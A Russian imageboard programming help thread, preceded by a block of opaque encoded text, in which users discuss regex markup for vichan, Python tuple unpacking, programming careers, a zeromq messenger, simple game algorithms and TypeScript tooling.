FZXNBV2c2cisvTlkrK1k3b0cwYlBuSUVSZXUzbW16K0RycEcxYWxDaDdVWExydlArZmVxWVFOaC9QUzJ
FOUZYYlVUZ0tiVTJKSE5hMVhGVUxTRVhnK2ZCZmM3MDdjcVlLczFRelcvd1AycTRlRFlpM3Y4RHJaU3V
uakZLbHZQT3hMeTBZdG1laXN3Ynh2VENVYmZpdmcxeEluNGRRNXlaLzlGL04zM015aUxFaTgyWUU2a3N
jWldGbGtPZVJkbjl3elM1QTd5QkYxM1JqS0pmWlVFZjJXV2dXRzREbnJyVHZnNzltUS85bU4wRG9rQkV
XN2RtRW1peEFHYjRUcFVERjVJUUxmVmx3cjF4QTEwUXRGTWNwb0s1aWZOR3lOcE5zQmhmaExFWjRSTFl
nZ1FNNm54WENoRnJuTmFOTVhoT0Z1QkZqaHdxMC9tRmdEbzhUQ1h1aWFwM2hXcGNyU0FqeWdsU3RXUFp
mUXUrRDNOaG9jSUtma0pBVkRObEFBaGltdGUwMU1LcGhpNVV0dThIa1BtNStBWmpJSkMwNzYwSUt0QmI
5RUZnVFVjMXNjaFE1cUUvRkNGVzg1amF5c0swMlBrTzdCUTdmamhqNUFISmxTSTMwOHBzYXhYSC9ERXV
NYTA2d1d2ZXM5MktkbGI3enZMMEdtREpVZWhHNFI5RVk5THVMZzVaUzdoTTBIRjU1ZDJubGRlQTlXUHl
SMWtZNC9ib3FVa3poTG5TdnpEMVNXeUtrRzhlM29oOXlTLzRHUW85TG11TzJLS0cydG5odVB4a3gwUVV
1M1dsNkt5YlYvbEVJVHpMOXExSU5ML09udmhVRUpyWE80Yjk0bExDTzZpT2VMVFZRMS9JUGVYU3pUMTF
hQVRMOUMzRUh2eUpwZHpTNCtvY0xnRjYvT2h4aEh5TTFPRlR0Y0JuK2xRRzVKWW93MDJsS3BXbmpYQjE
1bFdUNjNLVmsyOStOTnI3d0Jaa1dUem41VEx5MEUzT0JBYXFwUlNmS09IUWJtc0RRSGN1SnIxK0pqOXB
UbmdBZmFZYWJnNjhUUEpXWjZWMXVubXM5YjJJY3d5VjRGNEwzQ3FNNUVyTTlNWDUzT1phVE1zZW5jYnZ
OYUNMUExtU1JrT0xSTUlOcFVEbFozUENHbWliUFVWTUVpRHY3Ylg2a0JFZlV1bkJJbUl0SzBOd0l2Mk0
vUDlSWUVlNUhDWE1iOFFiSFlZSkdFMkticlpzZ2xkVTdnOE5UdGRFdngyREc5ckRHL3ZyN2hhc0tyQ0x
Kb1hxOWM1RWdJU3VHbkk4TVhwekRLaE9kVmNaY0hSaUtxV2I5QXI3WU43SGRyZzZkNjdScTJtQXNQcVp
ONy9uYkVFUU9BSXRBRDZINlp2a1l3STlIdll3SFovekJXZ1NxcFgwK203ZjVZcVE0aDVmRHh2VzBlZTF
RLy9FOTVvZDJLZnJBR0FXRDJsUGhFR0VSckJUZk9lV3NibWVHSFd3b0I0N2xkK3kwZkFTQ3RaR3VwSWZ
0OTR5aEVRUVFVT2ViS0RNNkQwU28wNlpldTM2ekJ5V1Fia3V1ajlHQ015T0hOeXBLRlM1R1ZFY1YxQ2s
vNnVyN1FOWmpOMFdlL29JTk1LczFXZlVFZ0w4d3lyMGFZWmhNM3FTY01LQWpKN1VqSEZrZUxma1dON3I
4Y09FSEx3L2d4cTU3R0xVekpHQUgxNTJpZDlPb2o1L2xKeEZEV0FLQStrd1V3RHdTSVJrUUM1cWV4NlZ
yVGpHU3hBUHpnV1ZFeTJ5N05RdDBkVWxSdWNwc1BNTm9kNHovQW1NeHJqbExyYWc4WGZaZS9VdFFmZkM
5UnRxVzVDMEZNbWFjT2V2cEFYN2FMU0pna1ROVERGbnBId3pEejlTUXRlL3ZTemxwOHlzblRKTWtYQVl
IcFJCOFdrR1NEdDZUSGloOGRKT2NaM0FDTHNtbEIzR0FwaS96THVwRGl1eTBVZ1NrOGk3MVkwdW9xTXB
YV3ZZTUV0TldGSXNQclA2QjV4Qkh2TG1XVDN4bHltMFBsY2VTQWxwT2RQZzdRV2lvL2dCaG56Vy94ZHJ
XT0QrQ2NhNjdTWTAwWFlQMXJZT0RzWkQ2YmtsOHVqbWJPTGd2ajFFNERxemFvdGZkS1lPZDNEQnJDWkl
relQyd1JWeE9oVE1uSkVublVBYzNXaFhLWXJGTUJXaTV6NGo1d3J4S1pEQUlQT3hzK200OGdKalB6a3V
qRDVxdzdzOHgycHlKdzhRS2kxMXJEa0lRcE5yY0VSUXV4TzdkZjUva2Y0NW1PZGNWNEZrTDd0STgrR1B
0b3NhM3BnczNuVHo1elNLVisxci9qK1JWWERSNWROZUZOM21sYlJwNVVnYnBBcWwrdVdpYkdQNGZDSnd
ydnZEVytkNGxqYWNtRWdDQlNrQ1RQNmJaa0NZRjk4NE50RW5jeFR3bFFxS1BUQThUM3V2Sm1TMm1lNUI
xRUVlRXh4Tm54SW5QMmlZN0ZidVVYWDZmZ3BkUDBlRjVXajFqUlJUczdCOGxSNTVrYVh0NlBZTmdHdEp
RU25CcDFWeXlyZFkreU5LWlZpb05DaVpLd3piZEZKWm9ybDRDbXRhQjhZUkFieEt4c09adHZYYXI4Z3h
pUE90eDBvRmJKU21MMEw4Tk9FOVhRcXVFVkVQNUZVSHk3SFF1cTJGcktDVytZV2lFckhUWVByRTlud00
1TFB5TTcwM0txeG1iVDZYbGlSSjBRM1NaQkRCVXJxVER3Q1JiSHd4V08vRnljWWRlQytOM2xCMzZuN0t
RSUxDVExCcXFpQlFJSWh3dkYzakRsMUIrOTk4ZXR3WVFiNGx0OVYzNm5DVWdtWGZGRXhPME53NExlMWd
`

No. 17979    
>>17977
Лучший ресурс по рекгексам с подсказками, примерами, и песочницей: https://regexr.com/

Я могу помочь тебе разобраться, но мне надо понять, что ты от этих регексов хочешь. Например, первый регекс - выкусыват всё, что находится между двумя наборами
'''
, и засовывает в группу за это скобки отвечают. Затем, эта группа берется по её индексу
$1
, вставляется в тег
<strong>
и в таком виде отдается.
No. 17981    
>>17979
Меня интересует например, как сделать так, чтобы можно было сделать например двойное цитирование ">>" и оно выделялось бы становилось ярко-зеленого цвета, ярче чем при одинарном. Все что мне удалось, это чтобы в строке только один символ менял цвет, а я хочу сделать чтобы вся строка меняла цвет.
No. 17984    
>>17981
Ну, я не претендую на то чтобы сделать лучший регекс на эту тему, но вот тебе варианты.

Двойное цитирование
/^>{2}(\w.*)/

Здесь оно смотрит, чтобы строка начиналась ^ с двух символов >, после которых должен сразу идти word-character, а потом хоть трава не расти, схватит всё до символа переноса.

Одинарное цитирование
/^>{1}(\w.*)/

Здесь оно смотрит, чтобы строка начиналась ^ с одного символа >, после которого должен сразу идти word-character, а потом хоть трава не расти, схватит всё до символа переноса.

Содержимое выкушенного будет в первой группе

Этот регекс ожидаемо не сработает, если цитирование будет где-то посредине строки. Если убрать, ^ то он станет это делать, но тогда надо будет поменять механизм, который вычисляет, двойное у тебя цитирование, или одинарное. Например так:

Всё цитирование
(>+)(\w.*)

Здесь в первой группе у тебя будет лежать > или >> в зависимости от того, какое цитирование, а во второй группе - захваченный текст до символа переноса.

Если применять эти регексы построчно, то особых флагов не нужно.
Если не построчно, а сразу на весь текст, то нужен мультлайн флаг.

Надеюсь, это поможет разобраться.
Также открой cheat-sheet и help на регексере, там всё расписано по токенам. Ну и теперь там оно твой регекс на ходу по компонентам разбивает и в окошке показывает, что делает каждый.
No. 17997    
151239025576.jpg-(97.35KB, 854×480, kobayashi.jpg)
17997
Аноним наконец-то перенес последние ссылки из прошлой нити в базу знаний: http://pastebin.com/AGhLZppH

Аноним проверяет тред несколько раз в сутки, чтобы каждый мог получить ответ или хотя бы наводку на него в тот же день.

Раздел медленный, так что пусть даты постов не пугают вас, аноним ждет ваших вопросов и кодерских находок.
No. 18034    
>>17984
Как ты предложил, у меня получилась какая-то лабуда, красным становился толко один первый символ
Зато, когда поставил так, то заработало:
$config['markup'][] = array("/!(\w.*)/", "<span style=\"color: red\">\$1</span>");

No. 18035    
>>17984
Правда это работает только с латиницей. С кириллицей оно не хочет дружить.
No. 18036    
151265290136.png-(3.81MB, 1920×1080, Sakurasou no Pet na Kanojo - Rita breakdown.png)
18036
>>18035

Потому что в PHP согласно http://php.net/manual/en/regexp.reference.escape.php символы \w и \W зависят от локали, а локаль у тебя не содержит определения символов кириллицы как словесных, должно быть.

Надо действовать более надёжным способом вместо этого.

Прочти http://php.net/manual/en/regexp.reference.unicode.php и используй \p{L} и \P{L} (потребуется PHP 5.1.0 или новее).
No. 18037    
>>18034
>Как ты предложил, у меня получилась какая-то лабуда
Это очень странно. Решил проверить, зашел на https://regex101.com/, там по умолчанию включен движок для PHP регексов и то что я постил там работает.

>красным становился толко один первый символ
А какую группу ты заворачивал в тег?

>/(\w.*)/
Фигня это, оно возьмет первый word-chacracter, после этого один любой другой, и потом просто матчнет всё до конца строки.

>Правда это работает только с латиницей. С кириллицей оно не хочет дружить.
Потому что кириллица не входит в набор \w
Чтобы матчнуть кириллическое слово (исключая знаки препинания и пробелы, и прочее левое) тебе надо регекс типа
/([А-ц])+/

Чтобы таким же образом матчнуть кириллическое или латинское слово в смешанном тексте, тебе надо что-то типа
/([\wА-ц])+/


Тебе скорее всего надо не только кириллицу вбросить туда, но вообще найти какой-то unicode text range.
No. 18038    
>>18034
Кстати, а тебе надо вообще то \w ?
В коде из твоего примера никто word-characters не трогает, и это наверняка даже вредно, т.к. одни теги могут быть включены в другие.

Для примера с ! тебе надо что-то типа
/!(.+?)+/

Проверялось всё на том же https://regex101.com/
No. 18050    
Вопрос питонистам. Функция возвращает несколько значений. Как их привести к виду, например:
Величина 1: x
Величина 2: y
Распаковать кортеж? Можно пример?
No. 18053    
>Распаковать кортеж?
Можно. Еще один вариант, сделать промежуточную структуру / или класс (так называемый DTO) где хранить эти значения по именам, и сделать так, чтобы функция возвращала его.

>Можно пример?
Какой язык? Пример-то будет зависеть от языка.
Например на Scala он бы разыменовывался так.
val(x, y) = myXYReturningFunc()

No. 18054    
>>18053

> Какой язык?

Высыпайся. Ибо сказано было: «вопрос питонистам».
No. 18055    
>>18050
В 3м питоне это называется named tuples:
https://stackoverflow.com/a/2970722
No. 18058    
>>17834
Я всё ещё жду. Ты на QML?
No. 18059    
>>18058
Нет, на кой чёрт мне Qt?
Тред вот >>17934, но пишу для себя сейчас крайне мало, потому что сессия, следовательно, выкладывать нечего. Завтра попробую порыться и найти что-нибудь из старого тогда.
No. 18070    
Привет, я Девочка-Улыбнись, и ни черта не шарю. Поясните за программирование. Хорошо ли выбирать это в качестве профессии? Какие есть риски? Долго ли придется искать место работы?
No. 18073    
Доброй ночи Господа, накатал программку, аля p2p месснджер, ну потыкал ее на одном компьютере - работает, попытался запускать на разных - здесь все уже сложнее. Подозреваю, что проблема скрывается в неккоректно вводимых адресах компьютеров, или( и ) закрытых выбраных портах. Испоьзовался zeromq. Компьютер подключен к интернету через роутер. Листинг кода по ссылке. Спасибо.https://hastebin.com/abisucunul.cpp
No. 18074    
>>18073
> assept
Accept.
No. 18078    
>>18073
Не понятно, как ты здесь без мутексов собрался обойтись.
No. 18080    
>>18074
Со мной такое бывает.
>>18078
А вот с этого момента поподробнее. Код ведь впринципе работает впределах одного компьютера, почему не должен работать с двумя?
No. 18082    
>>18080
В каком смысле "поподробнее"? Ты пишешь в одно место, значит, могут случиться нехорошие вещи типа отправки пустого сообщения или рейс кондишн.
No. 18084    
>>18070
>Поясните за программирование. Хорошо ли выбирать это в качестве профессии?
Это зависит от личных предпочтений. Чтобы сформировать личные предпочтения, рекомендую посмотреть сферы приложения описанные в нашей базе знаний: http://pastebin.com/AGhLZppH

>Какие есть риски?
Не совсем понятно, что здесь имеется в виду.

>Долго ли придется искать место работы?
Зависит от места поиска, сферы приложения, выбранного языка и личных качеств. Т.к. получилась длинная паста, возможные варианты опишу постом ниже.
No. 18085    
>>18070
>>18084

Место работы можно искать:
  • Индивидуально, удаленно, на бирже типа Upwork. Там нужно будет пройти сертификацию по интересующему языку, а затем успешно бороться за заказы, повышая репутацию и заработок. Обычно так делают в поисках заказчика, с которым отношения можно строить вне биржи, на двухсторонней основе. Это обычная сдельная работа, деньги - услуги. Также биржи обычно предоставляют средства контроля и учета рабочего времени, но пользоваться ими, или нет - зависит от конкретного заказчика.
  • На зарубежном рынке, удаленно. Схоже с биржей, только ты целенаправленно нанимаешься контрактором в иностранную фирму. Здесь надо будет стандартно пройти собеседование и пообщаться с несколькими людьми, включая человека который тебя будет брать на проект и CTO главу техотдела, иногда еще CEO директор. Условия в контракте зависят от личных способностей и страны расположения фирмы, но обычно у контракторов почасовая ставка, оговорено количество часов с +/- в каждую сторону, и отсутствуют социалка и оплачиваемые выходные/праздники/отпуска. Но это часто перекрывается оплатой труда в целом.
  • На местном рынке, для аутсорсинга. Схоже с предыдущим вариантом, но здесь отношения с иностранной фирмой или фирмами уже построили за тебя другие люди. Они могут работать с этой фирмой целенаправленно например, люди ранее работали на бирже, а теперь подписали договор с относительно крупным заказчиком и расширяются или просто подбирать и предлагать сотрудников всем интересующимся, выступая в качестве рекрутинговой компании т.н. галеры Если фирма целенаправленно аутсорсит, то тебе придётся пройти обычный раунд собеседований в местную фирму, со всеми особенностями, иногда получить одобрение своей кандидатуры от зарубежных партнеров, а потом просто работать по правилам фирмы. Если же фирма работает как рекрутинговое агентство, тебе дополнительно придётся проходить собеседования к потенциальным заказчикам как только они появятся. Поиском заказчиков и подходящей для тебя работы, а также сватовством и рекомендациями обычно в таких фирмах занимается свой отдел, также они часто готовят огромные вопросники-ответники для прохождения собеседований. Так что для тебя это будет выглядеть как череда интервью с последующим переходом к работе, если все пройдет хорошо. Обычно рекрутинговые фирмы оплачивают человеку две недели или месяц сидения без дела, и если он за этот срок никуда не "продался", его увольняют т.к. принцип заработка у рекрутинговой фирмы - разница между зарплатой по которой тебя "продали" заказчику и твоей фактической зарплатой
Рекрутинговая аутсорс контора - наверное дин из самых популярных ныне способов организации IT-фирм, т.к. он самый простой при постоянно растущем запросе на IT-услуги.

  • На местном рынке, для собственного продукта. Это может быть существующий продукт или стартап, но суть одна и та же. Местная фирма делает, обслуживает, продает свой программный продукт. Это может быть частная бизнес-инициатива, или работа на госзаказ. Здесь тебя ждет такой же обычный раунд собеседований в местную фирму, со всеми её особенностями. Но т.к. фирма работает на внутренний рынок, то оплата труда скорее всего будет ниже, просто потому что почти все местные фирмы не могут потянуть зарплату, которую предлагают фирмы иностранные, у нас не тот объем рынка IT-услуг, и очень побитые жизнью экономики в целом.
Есть еще один вариант - поехать работать зарубеж по визе. О нем в следующем посте.
No. 18086    
>>18070
>>18084
>>18085

Итак, бонусный вариант места трудоустройства:

  • На зарубежном рынке, уехать на визу от работодателя. Есть и такой вариант, но я пишу его в конце, т.к. начинающему программисту это сделать будет трудно. Здесь всё то же самое как с устройством на удаленку по контракту, но вместо того чтобы работать из дому, тебе делают рабочую визу, разрешение на работу, и ты едешь на срок трудового договора работать в страну назначения. Там ты работаешь по правилам фирмы, параллельно изучаешь местный язык обычно требование от государства, снимаешь и оплачиваешь жилье на первый месяц тебе выделят подъемные, и может даже конспиративную квартиру на небольшой срок, но в остальном всё менеджишь сам, если получится, подыскиваешь возможность перейти на другую работу с условиями получше тут надо учесть, что фирма при расторжении договора через Х дней передаст об этом уведомление в миграционную службу, если всё будет хорошо, через время ты сможешь получить вид на жительство. Если всё будет плохо, поедешь домой обратно.
Вариант поехать работать в другую страну также предлагают некоторые рекрутинговые фирмы. Здесь ситуация будет похожа, но также придется столкнуться со всей спецификой рекрутинговой конторы. Базово - ты будешь чуть в более неопределенном и чуть более уязвимом положении, чем если бы был устроен напрямую.
No. 18087    
>>18078
Это-то впринципе ясно, но мне сначала хочется хоть связь установить между двумя устройствами. Собственно сама программа была быстро написана с этой целью - для теста.
No. 18089    
>>18038
Окей, тогда попробую наверное с этим вариантом.
Такой еще вопрос по-поводу вичана. Интересно, как там поставить кастомную главную страничку?
No. 18114    
Где можно почитать что-нибудь о классических игровых алгоритмах?
Например, как реализовать те же крестики-нолики, змейку, Zuma, 2048, игры, где сверху кубики падают и тебе надо перемещать одноцветные в один ряд и т.п.
No. 18119    
>>18114
Почему бы самому не подумоть и заделоть вместо готового решения?
No. 18127    
>>18119
Это не работа программиста.
No. 18131    
>>18114
Я так понимаю, под алгоритмом ты понимаешь алгоритм непосредствнно программной реализации игры.

Тут все зависит от конкретной игры, и обычно, поскольку у классических игр было много самописных клонов, какой-то однозначной канонической реализации может и не быть. Тем не менее, такие игры часто используются в качестве туториал материалов по геймдеву для конкретных языков и библиотек, например "Сегодня мы делаем Тетрис на C# на базе Unity" или "Пишем Flappy Bird на Javascript".

Поэтому, важно знать:
1. С какой целью ты хочешь эти алгоритмы потом использовать, на какой платформе и т.д. Т.к. очевидно, что реализация текстового тетриса на бейсике будет отличаться от трёхмерной на плюсах.

2. Какие игры тебя интересуют больше других, или может, какая-то конкретно? Это чтобы было понятно что искать.
No. 18143    
>>18131
Ну, например крестики-нолики. Самые простые, в терминале. Например, вводим X,Y, жмём Enter. Потом бот рандомно выбирает клетку и т.п. Реализовать такое можно хоть на Python, хоть на JS, но как это сделать? Все выигрышные правила записать в отдельный массив и сверять текущие координаты с ним? Или каждую строку рассматривать как отдельный массив? А как тогда диагонали решать? И т.п. Такого рода вопросы.
Или вот ещё - как bullet-storm в тохо реализован? Что пульки такими красивыми спиральками летят.
Как движение змейки сделать? Стрелочками двигать "голову", а потом рекурсивно передавать координаты предыдущего куска тела на один назад?
No. 18144    
>>18143
>крестики-нолики
Самый универсальный подход - на каждом шаге проверять все столбцы, все строки и все диагонали. Если где-то обнаружится два твоих знака - ставишь третий и выигрываешь, обнаружится два знака противника - тоже ставишь, мешая выиграть ему. Более умные стратегии, ЕМНИП, действуют только в начале игры, и все они описаны, загугли схемы. А вот забивать все комбинации - плохой подход, их все-таки немало, нужен именно алгоритм, который будет проверять, возможен ли при имеющихся значках предлагаемый стратегией ход, и делать его.

>bullet-storm
Уравнения движения с хорошо подобранными или рассчитанными коэффициентами. В простом случае - формулы, дающие координаты по моменту времени. В сложном - матричные вычисления. Мало программирования, много математики.

>змейка
Рекурсия тут, думаю, излишняя. Нужен список (а списки давно есть в любом современном языке) с координатами каждого куска тела. На очередном шаге рассчитываешь новую координату головы по старой координате и направлению движения, и кладешь её в начало списка, а один элемент из конца - удаляешь. Если змея что-то съела, конец не трогаешь, и она растёт.
No. 18145    
>>18143
Вот человек постигает те же алгоритмы и делает Pong, Breakout и Snake на жаваскрипте и HTML 5.

https://codeincomplete.com/posts/javascript-pong/
https://codeincomplete.com/posts/javascript-breakout/
https://codeincomplete.com/posts/starting-snakes/
No. 18152    
151334933944.png-(28.63KB, 1059×682, 2017-12-15_16-39-55.png)
18152
>>17914
глазам своим не верю, но приложение все таки сбилдилось!
итак, что я сделал:
  • добавил системную переменную и пользовательскую тоже на всякий с именем USER_HOME и значением C:\Android вместо C:\Android\.gradle
  • поменял значение в переменной GRADLE_USER_HOME на C:\Android, хотя, судя по >>17898 она вообще не нужна
  • в настройках андроид студии во вкладке грейдла выставил путь C:\Android где это было возможно
спасибо всем кто мне помогал!
No. 18153    
>>18152
Не за что, обращайся еще и сообщай о результатах девелопмента.
No. 18159    
151336564473.jpg-(65.53KB, 372×442, 05e69dbb27[1].jpg)
18159
>>18144
А есть где-нибудь реализации или хотя бы описания ИИ для пакмана (самого пакмана, чтобы им управлял ПК, для призраков-то все просто и давно описано)?
А то были мысли для следующей итерации своей игры из >>18042 реализовать саммон-бота для игрока.
No. 18160    
>>18159
Насколько удалось выяснить, написание AI Agent для пакмана - одно из стандартных упражнений в игровом АИ, а также входит в программу одного из курсов института Беркли.

>The Pac-Man projects were developed for UC Berkeley's introductory artificial intelligence course, CS 188.

Поэтому примеров таких агентов и описания алгоритмов достаточно.

Ниже некоторые из них.

Описание всего что нужно знать на сайте Беркли:
http://ai.berkeley.edu/project_overview.html

Описание одного подалгоритма с картинками из третьих рук:
https://medium.com/@lennyboyatzis/ai-teaching-pacman-to-search-with-depth-first-search-ee57daf889ab

Реализации:
https://github.com/worldofnick/pacman-AI
https://github.com/aahuja9/Pacman-AI

Демонстрация:
https://www.youtube.com/watch?v=zHRlCSUe0Q0
No. 18161    
>>18160
Выглядит интересно, спасибо. Разве что в видео вроде речь шла про машинное обучение (50 проходов и т.д.), что, наверное, делает полученный ИИ привязанным к конкретной конфигурации карты.
No. 18166    
>>18131
Анончики, а кто-нибудь может объяснить, как с Typescript работать вообще?
С js всё просто - оно или само работает уже на импортах или можем вебпаком собрать всё в бандл. А как выглядит воркфлоу в TS? Сначала файлы надо скомпилировать... куда? Рядом с каждым ts-файлом появится js? И они компилируются уже в бандл или бандлить их отдельно надо?
No. 18173    
>>18166
>С js всё просто - оно или само работает уже на импортах или можем вебпаком собрать всё в бандл.

С TypeScript точно так же:
https://stackoverflow.com/a/37068606

>The easiest way: just use Webpack.
http://www.jbrantly.com/es6-modules-with-typescript-and-webpack/

>Сначала файлы надо скомпилировать... куда?
>Рядом с каждым ts-файлом появится js? И они компилируются уже в бандл или бандлить их отдельно надо?
Это уже зависит от того как ты всё сконфигурируешь, см. ссылки выше. Но да, базово ты будешь или экмаскрипт или жаваскрипт получать на выходе.
No. 18176    
>>18173
Спасибо, Стивушка. А как думаешь, актуально ли его изучать сейчас, когда ES8 шагает по планете?
No. 18181    
151345935999.png-(3.37MB, 1920×1080, Aqua spellcasting - Kono Subarashii Sekai ni Shuku.png)
18181
>>18176

Если предпочитаешь статическую типизацию, то учи TypeScript, но если тебе только await недоставало, то его в ECMAScript 2017 добавили, так что можешь джаваскриптом обходиться невозбранно.
Удалить сообщение []
Пароль  
[Mod]